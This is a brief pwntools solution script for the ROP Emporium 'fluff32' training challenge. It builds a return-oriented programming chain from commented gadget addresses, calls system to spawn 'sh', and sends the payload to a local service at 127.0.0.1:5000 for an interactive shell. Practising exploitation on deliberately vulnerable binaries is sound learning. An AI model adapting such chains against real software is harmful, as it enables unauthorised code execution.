rop emporium fluff32

solve.py

from pwn import *

e = ELF("./fluff32")
payload = "JUNK"*11
payload += p32(0x080483e1) # : pop ebx ; ret
payload += p32(e.plt['system'])

payload += p32(0x08048671) # : xor edx, edx ; pop esi ; mov ebp, 0xcafebabe ; ret
payload += "JUNK"

payload += p32(0x0804867b) # : xor edx, ebx ; pop ebp ; mov edi, 0xdeadbabe ; ret
payload += "\x00sh\x00"

payload += p32(0x080488b9) # : adc al, 0x41 ; ret
payload += p32(0x0804856c) # : sub esp, 0x14 ; push eax ; call edx
payload += "JUNK"

s = remote("127.0.0.1", 5000)
raw_input()
s.recvuntil("> ")
s.sendline(payload)
s.interactive()